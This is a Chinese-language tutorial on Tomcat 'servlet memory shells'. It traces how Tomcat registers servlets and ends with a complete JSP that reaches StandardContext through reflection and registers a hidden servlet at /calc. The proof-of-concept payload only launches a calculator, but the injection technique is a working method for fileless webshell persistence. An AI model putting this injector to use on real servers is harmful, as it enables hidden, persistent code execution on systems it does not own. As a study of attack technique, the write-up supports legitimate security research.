servlet内存马
这是一个普通的servlet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package com.example.demo;
import jakarta.servlet.ServletException; import jakarta.servlet.annotation.WebServlet; import jakarta.servlet.http.HttpServlet; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse;
import java.io.*;
@WebServlet( name = "AnnotationServlet", urlPatterns = {"/MyServlet"}, loadOnStartup = 1 )
public class MyServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/html"); PrintWriter out = response.getWriter(); out.println("<html><body>"); out.println("<h1>Hello from MyServlet!</h1>"); out.println("</body></html>"); } }
|

servlet内存马的目的是在无文件落地的情况下动态的在tomcat中注册servlet
那么现在就是要查询tomcat是在哪里注册我们这些servlet的呢? 首先先要在pom.xml中引入依赖
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>10.1.23</version> </dependency>
|
在ContextConfig 下的configureContext函数中
下断点 我们发现了我们的servlet名称


那么我们追踪servlets 看看那一部分对这个servlets 进行了操作
往下翻 找到位置

核心代码 context.addChild(wrapper) 添加servlet
context.addServletMappingDecoded(entry.getKey(), entry.getValue()) 添加servlet映射关系

那么我们只需要获取到context对象就可以注入servlet内存马了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <%@ page import="java.lang.reflect.*, org.apache.catalina.core.*, javax.servlet.*, javax.servlet.http.*, java.io.*" %> <% // 定义恶意Servlet类 class CalcServlet extends HttpServlet { protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { try { String os = System.getProperty("os.name").toLowerCase(); if (os.contains("win")) { Runtime.getRuntime().exec("calc.exe"); resp.getWriter().write("Calculator launched on Windows!"); } else if (os.contains("mac")) { Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); resp.getWriter().write("Calculator launched on Mac!"); } else { resp.getWriter().write("Unsupported OS: " + os); } } catch (Exception e) { resp.getWriter().write("Error: " + e.getMessage()); } } }
// 注入逻辑 try { // 获取StandardContext ServletContext ctx = request.getServletContext(); Field appCtxField = ctx.getClass().getDeclaredField("context"); appCtxField.setAccessible(true); ApplicationContext appCtx = (ApplicationContext)appCtxField.get(ctx);
Field stdCtxField = appCtx.getClass().getDeclaredField("context"); stdCtxField.setAccessible(true); StandardContext stdCtx = (StandardContext)stdCtxField.get(appCtx);
// 创建并注册Servlet Servlet calcServlet = new CalcServlet(); org.apache.catalina.Wrapper wrapper = stdCtx.createWrapper(); wrapper.setName("calc"); wrapper.setServlet(calcServlet); wrapper.setServletClass(CalcServlet.class.getName()); stdCtx.addChild(wrapper); stdCtx.addServletMappingDecoded("/calc", "calc");
out.println("ok"); } catch (Exception e) { out.println("inject failed: " + e.toString()); } %>
|

然后我们访问 /calc

可以看到内存马注入成功